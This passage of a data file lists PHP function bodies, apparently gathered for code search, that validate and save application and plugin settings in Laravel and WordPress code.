$this->validate($request, $validation_terms);\n $to_save = array_intersect_key($request->all(), $validation_terms);\n if(count($to_save)){\n $settings = Auth::user()->settings;\n foreach($to_save as $key => $value){\n $settings->{$key} = $value;\n }\n $settings->save();\n Auth::user()->settings()->update($to_save);\n }\n return [\n 'result' => 'success', \n 'message' => trans('settings_successful')\n ];\n }", "public function settings_fields() {\n\t\t$this->create_sections();\n\t\t$this->create_fields();\n\t\tregister_setting( $this->token, $this->token, array( $this, 'validate_fields' ) );\n\t}", "public function options_update() {\n\t\tregister_setting( $this->plugin_name, $this->plugin_name, array($this, 'validate', 'default' => array( \"url_nerd_instance\" => \"\", \"category_weight\" => \"0.04\", \"entity_weight\" => \"0.7\" ) ) );\n\t}", "public function update()\n\t{\n $rules = array\n (\n 'sitename' \t=> 'required',\n 'site_meta_key' \t=> 'required',\n 'meta_description' \t=> 'required',\n 'listing_per_page' \t=> 'required',\n 'email_id' \t=> 'required',\n 'website_online' \t=> 'required',\n 'siteslogan' \t=> 'required',\n 'sitesstart' \t=> 'required',\n 'notice' \t=> 'required',\n );\n $validation = Validator::make(Input::all(), $rules);\n if($validation->fails()){\n return Redirect::back()\n ->withInput()\n ->withErrors($validation);\n }\n else{\n $data[0]=Input::get('sitename');\n $data[1]=Input::get('site_meta_key');\n $data[2]=Input::get('meta_description');\n $data[3]=Input::get('listing_per_page');\n $data[4]=Input::get('email_id');\n $data[5]=Input::get('website_online');\n $data[6]=Input::get('siteslogan');\n $data[7]=Input::get('sitesstart');\n $data[8]=Input::get('notice');\n\n $index[0]='SITE_NAME';\n $index[1]='SITE_META_KEYS';\n $index[2]='SITE_META_DESC';\n $index[3]='LISTING_PER_PAGE';\n $index[4]='SITE_EMAIL_ADDRESS';\n $index[5]='ONLINE';\n $index[6]='SLOGAN';\n $index[7]='SITE_START_YEAR';\n $index[8]='NOTICE';\n\n for($i=0;$i<9;$i++){\n $siteSettings = SiteSetting::where('key','=',$index[$i])->first();\n $siteSettings->value=$data[$i];\n $siteSettings->save();\n if($i==8){\n return Redirect::route('settings')\n ->with('success', \"Site Settings has updated successfully.\");\n }\n }\n }\n\t}", "function wp_settings_update_func($settings) {\r\n\r\n switch ( $settings['key'] ) {\r\n\r\n case 'general':\r\n update_option( 'wpc_graphic', $settings['graphic'] );\r\n update_option( 'wpc_create_client', $settings['create_client'] );\r\n\r\n $current_settings = get_option( 'wpc_settings' );\r\n if ( !is_array( $current_settings ) )\r\n $current_settings = array();\r\n\r\n $settings['wpc_settings'] = array_merge( $current_settings, $settings['wpc_settings'] );\r\n //update settings value\r\n update_option( 'wpc_settings', $settings['wpc_settings'] );\r\n\r\n break;\r\n\r\n case 'business_info':\r\n $current_settings = get_option( 'wpc_business_info' );\r\n if ( !is_array( $current_settings ) )\r\n $current_settings = array();\r\n\r\n $settings['wpc_business_info'] = array_merge( $current_settings, $settings['wpc_business_info'] );\r\n //update settings value\r\n update_option( 'wpc_business_info', $settings['wpc_business_info'] );\r\n\r\n break;\r\n\r\n case 'skins':\r\n if ( $settings['theme'] )\r\n update_option( 'wpclients_theme', $settings['theme'] );\r\n break;\r\n\r\n case 'login_alerts':\r\n //login alerts notifications\r\n if ( isset( $settings['login_alerts'] ) ) {\r\n if( !isset( $settings['login_alerts']['successful'] ) && '1' != $settings['login_alerts']['successful'] )\r\n $settings['login_alerts']['successful'] = 0;\r\n if( !isset( $settings['login_alerts']['failed'] ) && '1' != $settings['login_alerts']['failed'] )\r\n $settings['login_alerts']['failed'] = 0;\r\n\r\n update_option( 'wpc_login_alerts', $settings['login_alerts'] );\r\n }\r\n break;\r\n }\r\n }", "public function validateSforceData() {\n foreach($this->syncMap as $sforceField) {\n if (!array_key_exists($sforceField, $this->sforceData)) {\n return false;\n }\n }\n \n return true;\n }", "public function validate_settings_fields( $_ = false ) {\n\t\tparent::validate_settings_fields();\n\n\t\t// remove our section 'field' so it doesn't get saved to the database\n\t\tforeach ( $this->form_fields as $k => $v ) {\n\t\t\tif ( isset( $v['type'] ) && $v['type'] == 'section' ) {\n\n\t\t\t\tunset( $this->sanitized_fields[$k] );\n\t\t\t}\n\t\t}\n\t}", "public function updateMySubmissionsSettings(Request $request)\n {\n $err = array();\n $this->validate($request, [\n 'submissions_paginate' => 'required|numeric|min:1',\n 'enable_form_details_view' => 'required',\n 'enable_delete' => 'required'\n ]);\n $set_names = [\n 'paginate'=>'submissions_paginate',\n 'enable_form_details_view'=>'enable_form_details_view',\n 'enable_delete'=>'enable_delete'\n ];\n foreach ($set_names as $name => $value) {\n $my_submissions = Setting::where(['group' => 'my_submissions','name' =>$name])\n ->update(['value' => $request->input($value)]);\n if(!$my_submissions){\n $err[] = $my_submissions;\n }\n }\n\n if(empty($err)){\n return redirect()->back()->with('success', 'Settings Updated!');\n }else{\n return redirect()->back()->with('error', 'Error Updating!: ' . implode(', ', $err));\n }\n\n }", "private function validateUpdateSettingKeys(array $array): bool\n {\n $return = true;\n\n if (!array_key_exists('url', $array)) {\n $return = false;\n }\n if (!array_key_exists('folder', $array)) {\n $return = false;\n }\n if (!array_key_exists('secureUrl', $array)) {\n $return = false;\n }\n\n return $return;\n }", "public function updateCustomization(Request $request){\n //print_r($request->all()); die();\n $validator = $request->validate([\n 'row_id' => 'required',\n 'discrepancies' => 'array',\n 'raw_wr_weight' => 'required',\n 'raw_wr_weight_is_checked' => 'required',\n 'raw_wr_length' => 'required',\n 'raw_wr_length_is_checked' => 'required',\n 'raw_cut_fish_weight' => 'required',\n 'raw_cut_fish_weight_is_checked' => 'required',\n 'raw_cut_fish_length' => 'required',\n 'raw_cut_fish_length_is_checked' => 'required',\n 'finished_product_wr_weight' => 'required',\n 'finished_product_wr_weight_is_checked' => 'required',\n 'finished_product_wr_length' => 'required',\n 'finished_product_wr_length_is_checked' => 'required',\n 'finished_product_cut_fish_weight' => 'required',\n 'finished_product_cut_fish_weight_is_checked' => 'required',\n 'finished_product_cut_fish_length' => 'required',\n 'finished_product_cut_fish_length_is_checked' => 'required'\n ]);\n if(isset($request->wr_fish_online_qc)){\n if($request->wr_fish_online_qc == 'on'){\n $userSettings['wr_fish_online_qc'] = '1'; \n }\n } \n else{\n $userSettings['wr_fish_online_qc'] = '0'; \n }\n if(isset($request->cut_fish_online_qc)){\n if($request->cut_fish_online_qc == 'on'){\n $userSettings['cut_fish_online_qc'] = '1'; \n } \n } \n else{\n $userSettings['cut_fish_online_qc'] = '0'; \n }\n if($request->wr_fish_online_qc == 'on' || $request->cut_fish_online_qc == 'on'){\n $getUserSetting = UserSetting::where('producer_id',$request->row_id)->first();\n if(!empty($getUserSetting)){\n $getUserSetting = UserSetting::where('producer_id',$request->row_id)->update($userSettings);\n }\n else{\n $userSettings['producer_id'] = $request->row_id;\n $createUserSettings = UserSetting::create($userSettings);\n }\n } \n if(isset($request->discrepancies) && !empty($request->discrepancies)){\n if(isset($request->discrepancies['discrepancy_id']) && !empty($request->discrepancies['discrepancy_id'])){\n foreach($request->discrepancies['discrepancy_id'] as $key => $discrepancy_id ){\n if(isset($request->discrepancies['is_checked']) && !empty($request->discrepancies['is_checked'])){\n if(isset($request->discrepancies['is_checked'][$key])){\n $isChecked = '1';\n }\n else{\n $isChecked = '0';\n }\n }\n else{\n $isChecked = '0';\n } \n $createDiscrepancies = array(\n 'producer_id' => $request->row_id,\n 'discrepancy_id' => $request->discrepancies['discrepancy_id'][$key],\n 'rejection_offset_value'=> $request->discrepancies['rejection_offset_value'][$key],\n 'border_offset_value' => $request->discrepancies['border_offset_value'][$key],\n 'rejection_value' => $request->discrepancies['rejection_value'][$key],\n 'border_value' => $request->discrepancies['border_value'][$key],\n 'is_checked' => $isChecked\n );\n if(isset($request->discrepancies['id']) && !empty($request->discrepancies['id'])){\n if(isset($request->discrepancies['id'][$key])){\n $id = $request->discrepancies['id'][$key];\n }\n else{\n $id = NULL;\n }\n }\n else{ \n $id = NULL;\n } \n if($id != NULL){\n UserDiscrepancy::where('id', $id)->update($createDiscrepancies);\n }\n else{\n UserDiscrepancy::create($createDiscrepancies);\n } \n } \n }\n }\n if(isset($request->cold_chain_standard) && !empty($request->cold_chain_standard)){ \n if(isset($request->cold_chain_standard['title']) && !empty($request->cold_chain_standard['title'])){\n foreach($request->cold_chain_standard['title'] as $key=> $cold_chain_standard){\n $createColdChainStandard = array(\n 'producer_id' => $request->row_id,\n 'title' => $request->cold_chain_standard['title'][$key],\n 'target_value' => $request->cold_chain_standard['target_value'][$key],\n 'border_value' => $request->cold_chain_standard['border_value'][$key]\n ); \n if(isset($request->cold_chain_standard['id']) && !empty($request->cold_chain_standard['id'])){\n if(isset($request->cold_chain_standard['id'][$key])){\n $id = $request->cold_chain_standard['id'][$key];\n }\n else{\n $id = NULL;\n }\n }\n else{ \n $id = NULL;\n } \n if($id != NULL){\n ColdChainStandard::where('id', $id)->update($createColdChainStandard);\n }\n else{\n ColdChainStandard::create($createColdChainStandard);\n }\n }\n }\n }\n $getCustomizationSettings = CustomizationSetting::where('producer_id', $request->row_id)->first();\n if(!empty($getCustomizationSettings)){\n $updatecustomizationSettings = array(\n 'temperature_ckeck_reminder_timescale' => $request->temperature_ckeck_reminder_timescale,\n 'custom_reminder_timescale_day' => $request->custom_reminder_timescale_day,\n 'minimum_temperature' => $request->minimum_temperature,\n 'other_minimum_temperature' => $request->other_minimum_temperature,\n 'continuous_freezing' => $request->continuous_freezing,\n 'other_continuous_freezing' => $request->other_continuous_freezing,\n 'weight_calibration' => $request->weight_calibration,\n 'standard_drip_loss_value' => $request->standard_drip_loss_value,\n 'standard_guts_weight' => $request->standard_guts_weight\n );\n $updateCustomizationSettingsData = CustomizationSetting::where('producer_id', $request->row_id)->update($updatecustomizationSettings);\n }\n else{\n $getCustomizationSettings['producer_id'] = $request->row_id;\n $customizationSettings = array(\n 'producer_id' => $request->row_id,\n 'temperature_ckeck_reminder_timescale' => $request->temperature_ckeck_reminder_timescale,\n 'custom_reminder_timescale_day' => $request->custom_reminder_timescale_day,\n 'minimum_temperature' => $request->minimum_temperature,\n 'other_minimum_temperature' => $request->other_minimum_temperature,\n 'continuous_freezing' => $request->continuous_freezing,\n 'other_continuous_freezing' => $request->other_continuous_freezing,\n 'weight_calibration' => $request->weight_calibration,\n 'standard_drip_loss_value' => $request->standard_drip_loss_value,\n 'standard_guts_weight' => $request->standard_guts_weight\n );\n $createCustomizationSettings = CustomizationSetting::create($customizationSettings);\n }\n $updateData = [\n // 'producer_id' => $request->row_id,\n 'raw_wr_weight' => $request->raw_wr_weight,\n 'raw_wr_weight_is_checked' => isset($request->raw_wr_weight_is_checked)?'1':'0',\n 'raw_wr_length' => $request->raw_wr_length,\n 'raw_wr_length_is_checked' => isset($request->raw_wr_length_is_checked)?'1':'0',\n 'raw_cut_fish_weight' => $request->raw_cut_fish_weight,\n 'raw_cut_fish_weight_is_checked' => isset($request->raw_cut_fish_weight_is_checked)?'1':'0',\n 'raw_cut_fish_length' => $request->raw_cut_fish_length,\n 'raw_cut_fish_length_is_checked' => isset($request->raw_cut_fish_length_is_checked)?'1':'0',\n 'finished_product_wr_weight' => $request->finished_product_wr_weight,\n 'finished_product_wr_weight_is_checked' => isset($request->finished_product_wr_weight_is_checked)?'1':'0',\n 'finished_product_wr_length' => $request->finished_product_wr_length,\n 'finished_product_wr_length_is_checked' => isset($request->finished_product_wr_length_is_checked)?'1':'0',\n 'finished_product_cut_fish_weight' => $request->finished_product_cut_fish_weight,\n 'finished_product_cut_fish_weight_is_checked' => isset($request->finished_product_cut_fish_weight_is_checked)?'1':'0',\n 'finished_product_cut_fish_length' => $request->finished_product_cut_fish_length,\n 'finished_product_cut_fish_length_is_checked' => isset($request->finished_product_cut_fish_length_is_checked)?'1':'0'\n ];\n if(isset($request->row_id) && $request->row_id!=NULL){ \n $getitems = RequestedItem::where('producer_id', $request->row_id)->first();\n if(!empty($getitems)){\n $update_req_items = RequestedItem::where('producer_id',$request->row_id)->update($updateData);\n }\n }\n else{ \n $getitems = RequestedItem::where('producer_id',$request->row_id)->first();\n if(!empty($getitems)){ \n $update_req_items = RequestedItem::where('producer_id',$request->row_id)->update($requestedItems);\n }\n else{ \n $create_req_items = RequestedItem::Create($updateData);\n }\n }\n $getProducer = Producer::select('id','image','name')->with('profileImage')->find($request->row_id);\n $data=['success'=>'customizationSettingdata'.ucfirst($request->name).' Customization has been Created!.','tab'=>'tab_3','customizationSettingdata'=>$getProducer];\n return redirect('accountmanagement/addProducer')->with($data)->withInput();\n }", "private function validateSettings(array $settings)\n {\n if (!isset($settings['AccountName'])) {\n throw new LocalizedException(__('Please provide a valid merchant id in settings.'));\n }\n if (!isset($settings['Password'])) {\n throw new LocalizedException(__('Please provide a valid password in settings.'));\n }\n return true;\n }", "public function validateSettings()\n {\n if (empty($this->validator)) {\n return true;\n }\n \n return $this->validator->validate($this, $this->context);\n }", "function bdpp_validate_settings( $input ) {\n\t\n\tglobal $bdpp_options;\n\t\n\tif ( empty( $_POST['_wp_http_referer'] ) ) {\n\t\treturn $input;\n\t}\n\t\n\t$input = $input ? $input : array();\n\t\n\tparse_str( $_POST['_wp_http_referer'], $referrer );\n\t$tab = isset( $referrer['tab'] ) ? $referrer['tab'] : 'general';\n\t\n\t// Sanitize filter according to tab\n\tif( $tab ) {\n\t\t$input = apply_filters( 'bdpp_validate_settings_' . $tab, $input );\n\t}\n\t\n\t// General sanitize filter\n\t$input = apply_filters( 'bdpp_validate_settings', $input );\n\t\n\t// Merge our new settings with the existing\n\t$output = array_merge( $bdpp_options, $input );\n\n\tdo_action( 'bdpp_validate_settings', $input, $tab );\n\tdo_action( 'bdpp_validate_common_settings', $input, $tab, 'bdpp' );\n\n\treturn $output;\n}", "private function validateUpdate() {\n\t\t$this->context->checkPermission(\\Scrivo\\AccessController::WRITE_ACCESS);\n\t}", "public function update_settings($data) {\n\n\t\tif(function_exists('update_option')) { \n\t\t\t$data = array_merge($this->settings, (array)$data); \n\t\t\tupdate_option('wpu-settings', $data);\n\t\t\t$this->settings = $data;\n\t\t}\n\t}", "public function update_meta(Request $request)\n {\n $type = $request->input('type');\n $ret['msg'] = 'info';\n $ret['message'] = __('messages.nothing');\n $auth_id = auth()->id();\n $is_saved = false;\n\n $type_key = 'default'; $is_page_meta = false;\n if($type == 'tnx_page_meta' || $type == 'kyc_page_meta' || $type == 'user_page_meta') {\n $type_key = str_replace('_page_meta', '', $type);\n $is_page_meta = true;\n }\n\n if ($is_page_meta==true) {\n $meta_name = $this->meta_key_val($request->meta, 'key');\n $meta_val = $this->meta_key_val($request->meta, 'value');\n $ret['msg'] = 'error';\n $ret['message'] = __('messages.update.failed', ['what' => 'Options']);\n\n if($meta_name=='perpage') {\n $meta_by_name = $type_key.'_per_page';\n $result = GlobalMeta::save_meta($meta_by_name, $meta_val, $auth_id);\n $is_saved = true;\n } elseif($meta_name=='ordered') {\n $meta_by_name = $type_key.'_ordered';\n $result = GlobalMeta::save_meta($meta_by_name, $meta_val, $auth_id);\n $is_saved = true;\n } elseif($meta_name=='orderby') {\n $meta_by_name = $type_key.'_order_by';\n $result = GlobalMeta::save_meta($meta_by_name, $meta_val, $auth_id);\n $is_saved = true;\n } else {\n $meta_by_name = $type_key.'_'.$meta_name;\n $result = GlobalMeta::save_meta($meta_by_name, $meta_val, $auth_id);\n $is_saved = true;\n }\n if($is_saved) {\n $ret['msg'] = 'success';\n $ret['message'] = __('messages.update.success', ['what' => 'Options']);\n }\n }\n\n if ($request->ajax()) {\n return response()->json($ret);\n }\n return back()->with([$ret['msg'] => $ret['message']]);\n }", "public function settings_validate_options()\n {\n $settings_options = get_option($this->option_name);\n\n // did the CSS save option change?\n if ($settings_options['css_save_to'] !== $_POST[$this->option_name]['css_save_to']\n || $settings_options['css_format'] !== $_POST[$this->option_name]['css_format']) {\n // the save option has changed so we better resave the current stack\n $stack_id = apply_filters('oxy-stack-current-id', '');\n if (!empty($stack_id)) {\n $this->save_post_css($stack_id, $_POST[$this->option_name]);\n }\n }\n }", "public function validate_settings( $input ) {\r\n\t\t$valid_input = array();\r\n\t\t\r\n\t\t/* General Settings */\r\n\t\t$valid_input['options']['timeline_nav'] = ( $input['options']['timeline_nav'] == 1 ? 1 : 0 );\r\n\t\t$valid_input['db_version'] = $input['db_version'];\r\n\t\t\r\n\t\t/* Wordpress */\r\n\t\tif( !empty( $input['options']['wp']['content'] ) || !empty( $input['options']['wp']['filter'] ) ) {\r\n\t\t\t// Content\r\n\t\t\tforeach( $input['options']['wp']['content'] as $key=>$value ) {\r\n\t\t\t\t$valid_input['options']['wp']['content'][$key] = (int) ( $value == 1 ? 1 : 0 );\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// Filters\r\n\t\t\tforeach( $input['options']['wp']['filter'] as $filter=>$value ) {\r\n\t\t\t\tforeach( $value as $id=>$val ) {\r\n\t\t\t\t\tswitch( $filter ) {\r\n\t\t\t\t\t\tcase 'taxonomy' :\r\n\t\t\t\t\t\t\t$valid_input['options']['wp']['filter']['taxonomy'][$id] = (int) ( $val == 1 ? 1 : 0 );\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\t\tdefault :\r\n\t\t\t\t\t\t\t$valid_input['options']['wp']['filter'][$filter][$id] = wp_filter_nohtml_kses( $val );\r\n\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t/* Twitter */\r\n\t\tif( !empty( $input['options']['twitter']['content']) || !empty($input['options']['twitter']['filter'] ) ) {\r\n\t\t\t// Content\r\n\t\t\tforeach( $input['options']['twitter']['content'] as $key=>$value ) {\r\n\t\t\t\tswitch( $key ) {\r\n\t\t\t\t\tcase 'username' :\r\n\t\t\t\t\t\t$valid_input['options']['twitter']['content']['username'] = wp_filter_nohtml_kses( str_replace( '@', '', $value ) );\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tcase 'timeline' :\r\n\t\t\t\t\t\t$valid_options = array( '1', '2' );\r\n\t\t\t\t\t\t$valid_input['options']['twitter']['content']['timeline'] = ( in_array( $value, $valid_options ) == true ? $value : null );\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\t\tdefault :\r\n\t\t\t\t\t\t$valid_input['options']['twitter']['content'][$key] = wp_filter_nohtml_kses( $value );\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t// Filters\r\n\t\t\tforeach( $input['options']['twitter']['filter'] as $filter=>$value ) {\r\n\t\t\t\tswitch($filter) {\r\n\t\t\t\t\tcase 'tags' :\r\n\t\t\t\t\t\t$valid_input['options']['twitter']['filter']['tags'] = wp_filter_nohtml_kses( str_replace('#', '', $value ) );\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\treturn $valid_input;\r\n\t}", "public function validateUpdate($obj);", "private function validatePaymentFields(){\n }", "function update_ms_settings() {\n\t\t\t/*print( \"\\n<pre><code>\\n\" );*/\n\t\t\t\n\t\t\tif( !array_key_exists( 'dpn_reviewers', $_POST ) )\n\t\t\t\treturn false;\n\t\t\t$r = $this->sanitize_settings( $_POST['dpn_reviewers'] );\n\t\t\t\n\t\t\t/*var_dump( $r );\n\t\t\tdie( \"\\n</code></pre>\\n\" );*/\n\t\t\t\n\t\t\tif( false === $r )\n\t\t\t\treturn delete_site_option( 'dpn_reviewers' );\n\t\t\telse\n\t\t\t\treturn update_site_option( 'dpn_reviewers', $r );\n\t\t}", "protected function checkStructure()\n {\n $structure = $this->getStructure();\n\n foreach ($structure as $field => $opt) {\n if (!array_key_exists($field, $this->data)) {\n continue;\n }\n\n $value = Arr::get($this->data, $field);\n if (is_array($value)) {\n $this->errors[$field][] = Translate::get('validate_wrong_type_data');\n continue;\n }\n\n $value = trim($value);\n $length = (int)$opt->length;\n\n if (!empty($length)) {\n $len = mb_strlen($value);\n if ($len > $length) {\n $this->errors[$field][] = Translate::getSprintf('validate_max_length', $length);\n continue;\n }\n }\n\n if (!$opt->autoIncrement && $opt->default === NULL && !$opt->allowNull && $this->isEmpty($value)) {\n $this->errors[$field][] = Translate::get('validate_not_empty');\n continue;\n }\n\n switch ($opt->dataType) {\n case 'int':\n case 'bigint':\n if (!$this->isEmpty($value) && (filter_var($value, FILTER_VALIDATE_INT) === false)) {\n $this->errors[$field][] = Translate::get('validate_int');\n continue 2;\n }\n break;\n\n case 'double':\n if (!is_float($value) && !$this->isEmpty($value)) {\n $this->errors[$field][] = Translate::get('validate_double');\n continue 2;\n }\n break;\n\n case 'float':\n if (!is_numeric($value) && !$this->isEmpty($value)) {\n $this->errors[$field][] = Translate::get('validate_float');\n continue 2;\n }\n break;\n\n case 'date':\n case 'datetime':\n case 'timestamp':\n if (!$this->isEmpty($value) && !Validate::dateSql($value)) {\n $this->errors[$field][] = Translate::get('validate_sql_date');\n continue 2;\n }\n break;\n\n default:\n continue 2;\n break;\n\n }\n }\n }", "function exn_wc_billplz_data_check() {\n $meta = exn_wc_billplz_get_meta();\n\n if ( sizeof( $meta )>0 ) {\n add_action( 'admin_notices', 'exn_wc_billplz_need_migration' );\n add_action( 'in_admin_footer', 'exn_wc_billplz_js' );\n add_action( 'wp_ajax_exn_wc_billplz_migrate', 'exn_wc_billplz_run_migration' );\n }\n}", "public function update(Request $request, $id)\n {\n //\n\n $request->validate([\n\n 'meta_description' => 'required',\n 'meta_keyword' => 'required',\n 'email' => 'required|email',\n 'phone' => 'required',\n 'address' => 'required',\n 'twitter' => 'required',\n 'facebook' => 'required',\n 'instagram' => 'required',\n 'youtube' => 'required',\n 'linkedin' => 'required'\n\n ]);\n\n $settings = Setting::find($id);\n\n $settings->meta_description = $request->meta_description;\n $settings->meta_keyword = $request->meta_keyword;\n $settings->email = $request->email;\n $settings->phone = $request->phone;\n $settings->address = $request->address;\n $settings->twitter = $request->twitter;\n $settings->facebook = $request->facebook;\n $settings->instagram = $request->instagram;\n $settings->youtube = $request->youtube;\n $settings->linkedin = $request->linkedin;\n\n $settings->save();\n\n // added redirects\n\n return redirect()->route('settings.index');\n }", "protected function checkSettings()\n {\n if (empty($this->settings)\n || empty($this->settings['column_1']) || empty($this->settings['column_2']) \n || empty($this->settings['compare_type']) || !isset($this->settings['configuration']))\n return false;\n \n return $this->checkCompareType();\n }", "function validate_on_update() {}", "private static function validate_meta( $meta_value ) {\n\t\treturn is_array( $meta_value ) && isset( $meta_value['uuid'], $meta_value['created_at'], $meta_value['completed'], $meta_value['current'], $meta_value['show_after'] );\n\t}", "public function validate_save( $request ) {\n\t\t$add_errors = array();\n\t\t$section_id = wppml_get_var( 'wppml_section_id' );\n\n\t\t// ignore nonce requests\n\t\tif ( isset( $request['_nonce'] ) ) {\n\t\t\tunset( $request['_nonce'] );\n\t\t}\n\n\t\t// import\n\t\tif ( isset( $request['import'] ) && ! empty( $request['import'] ) ) {\n\t\t\t$decode_string = wppml_decode_string( $request['import'] );\n\t\t\tif ( is_array( $decode_string ) ) {\n\t\t\t\treturn $decode_string;\n\t\t\t}\n\t\t\t$add_errors[] = $this->add_settings_error( esc_html__( 'Success. Imported backup options.', 'pin-master' ), 'updated' );\n\t\t}\n\n\t\t// reset all options\n\t\tif ( isset( $request['resetall'] ) ) {\n\t\t\t$add_errors[] = $this->add_settings_error( esc_html__( 'Default options restored.', 'pin-master' ), 'updated' );\n\t\t\treturn;\n\t\t}\n\n\t\t// reset only section\n\t\tif ( isset( $request['reset'] ) && ! empty( $section_id ) ) {\n\t\t\tforeach ( $this->sections as $value ) {\n\t\t\t\tif ( $value['name'] == $section_id ) {\n\t\t\t\t\tforeach ( $value['fields'] as $field ) {\n\t\t\t\t\t\tif ( isset( $field['id'] ) ) {\n\t\t\t\t\t\t\tif ( isset( $field['default'] ) ) {\n\t\t\t\t\t\t\t\t$request[ $field['id'] ] = $field['default'];\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tunset( $request[ $field['id'] ] );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$add_errors[] = $this->add_settings_error( esc_html__( 'Default options restored for only this section.', 'pin-master' ), 'updated' );\n\t\t}\n\n\t\t// option sanitize and validate\n\t\tforeach ( $this->sections as $section ) {\n\t\t\tif ( isset( $section['fields'] ) ) {\n\t\t\t\tforeach ( $section['fields'] as $field ) {\n\t\t\t\t\t// ignore santize and validate if element multilangual\n\t\t\t\t\tif ( isset( $field['type'] ) && ! isset( $field['multilang'] ) && isset( $field['id'] ) ) {\n\t\t\t\t\t\t// sanitize options\n\t\t\t\t\t\t$request_value = isset( $request[ $field['id'] ] ) ? $request[ $field['id'] ] : '';\n\t\t\t\t\t\t$sanitize_type = $field['type'];\n\n\t\t\t\t\t\tif ( isset( $field['sanitize'] ) ) {\n\t\t\t\t\t\t\t $sanitize_type = ( $field['sanitize'] !== false ) ? $field['sanitize'] : false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ( $sanitize_type !== false && has_filter( 'wppml_sanitize_' . $sanitize_type ) ) {\n\t\t\t\t\t\t\t$request[ $field['id'] ] = apply_filters( 'wppml_sanitize_' . $sanitize_type, $request_value, $field, $section['fields'] );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// validate options\n\t\t\t\t\t\tif ( isset( $field['validate'] ) && has_filter( 'wppml_validate_' . $field['validate'] ) ) {\n\t\t\t\t\t\t\t$validate = apply_filters( 'wppml_validate_' . $field['validate'], $request_value, $field, $section['fields'] );\n\n\t\t\t\t\t\t\tif ( ! empty( $validate ) ) {\n\t\t\t\t\t\t\t\t$add_errors[] = $this->add_settings_error( $validate, 'error', $field['id'] );\n\t\t\t\t\t\t\t\t$request[ $field['id'] ] = ( isset( $this->get_option[ $field['id'] ] ) ) ? $this->get_option[ $field['id'] ] : '';\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif ( ! isset( $field['id'] ) || empty( $request[ $field['id'] ] ) ) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$request = apply_filters( 'wppml_validate_save', $request );\n\n\t\tdo_action( 'wppml_validate_save_after', $request );\n\n\t\t// set transient\n\t\t$transient_time = ( wppml_language_defaults() !== false ) ? 30 : 10;\n\t\tset_transient(\n\t\t\t'pm-framework-transient', array(\n\t\t\t\t'errors' => $add_errors,\n\t\t\t\t'section_id' => $section_id,\n\t\t\t), $transient_time\n\t\t);\n\n\t\treturn $request;\n\t}", "private function set_to_be_updated()\n {\n if ( !$this->presence_in_db ){\n $this->to_be_updated = true;\n return;\n }\n $orig_db_check = ($this->value === $this->new_value) ? false : true;\n\n $wle_definition = $this->get_wpconfig_by_name();\n $pattern = $this->build_wle_pattern_by_name();\n\n preg_match($pattern, $wle_definition, $matches);\n\n if ( !$orig_db_check && !empty($matches[1]) ) {\n $this->to_be_updated = ($this->value === $matches[1]) ? false : true;\n }\n else {\n $this->to_be_updated = $orig_db_check;\n }\n }", "function bdpp_validate_sharing_settings( $input ) {\n\n\t// Taking some default value\n\t$sharing_service = array();\n\n\t// Validate Sharing Services\n\tif( !empty( $input['sharing'] ) ) {\n\t\tforeach ($input['sharing'] as $sharing_key => $sharing_val) {\n\t\t\tif( !empty( $sharing_val ) ) {\n\t\t\t\t$sharing_service[] = $sharing_val;\n\t\t\t}\n\t\t}\n\t}\n\t$input['sharing']\t\t\t\t= array_unique( $sharing_service );\n\t$input['sharing_enable'] \t\t= !empty( $input['sharing_enable'] ) ? 1 : 0;\n\t$input['sharing_post_types']\t= isset( $input['sharing_post_types'] ) ? bdpp_clean( $input['sharing_post_types'] ) : array();\n\n\treturn $input;\n}", "public function isValidUpdate($data) { \n\t\t$options = array('presence' => 'optional');\n\t\treturn $this -> validate($data,$options);\n\t}", "public function update(Request $request, $id)\n {\n $request->validate([\n 'stages_ar' => 'unique:settings,stages_ar,'.$id,\n 'stages_en' => 'unique:settings,stages_en,'.$id,\n 'educ_admin_name_ar' => 'unique:settings,educ_admin_name_ar,'.$id,\n 'educ_admin_name_en' => 'unique:settings,educ_admin_name_en,'.$id,\n 'school_name_ar' => 'unique:settings,school_name_ar,'.$id,\n 'school_name_en' => 'unique:settings,school_name_en,'.$id,\n ]);\n\n if($request->stages_ar==null && $request->stages_en==null){\n return back()->with('danger', 'Please Input Data');\n }elseif($request->has('stages_ar') && !$request->has('stages_en')){\n $request->merge(['stages_en' => $request->input('stages_ar')]);\n }elseif(!$request->has('stages_ar') && $request->has('stages_en')){\n $request->merge(['stages_ar' => $request->input('stages_en')]);\n }\n \n if($request->educ_admin_name_ar==null && $request->educ_admin_name_en==null){\n return back()->with('danger', 'Please Input Data');\n }elseif($request->has('educ_admin_name_ar') && !$request->has('educ_admin_name_en')){\n $request->merge(['stages_en' => $request->input('educ_admin_name_ar')]);\n }elseif(!$request->has('educ_admin_name_ar') && $request->has('educ_admin_name_en')){\n $request->merge(['educ_admin_name_ar' => $request->input('educ_admin_name_en')]);\n }\n \n if($request->school_name_ar==null && $request->school_name_en==null){\n return back()->with('danger', 'Please Input Data');\n }elseif($request->has('school_name_ar') && !$request->has('school_name_en')){\n $request->merge(['school_name_en' => $request->input('school_name_ar')]);\n }elseif(!$request->has('school_name_ar') && $request->has('school_name_en')){\n $request->merge(['school_name_ar' => $request->input('school_name_en')]);\n }\n\n $record = Setting::find($id);\n $record->update($request->all());\n \n return back()->with('success', __('lang.updated'));\n }", "public function paymentSettingsUpdate($data, $user = null)\n {\n 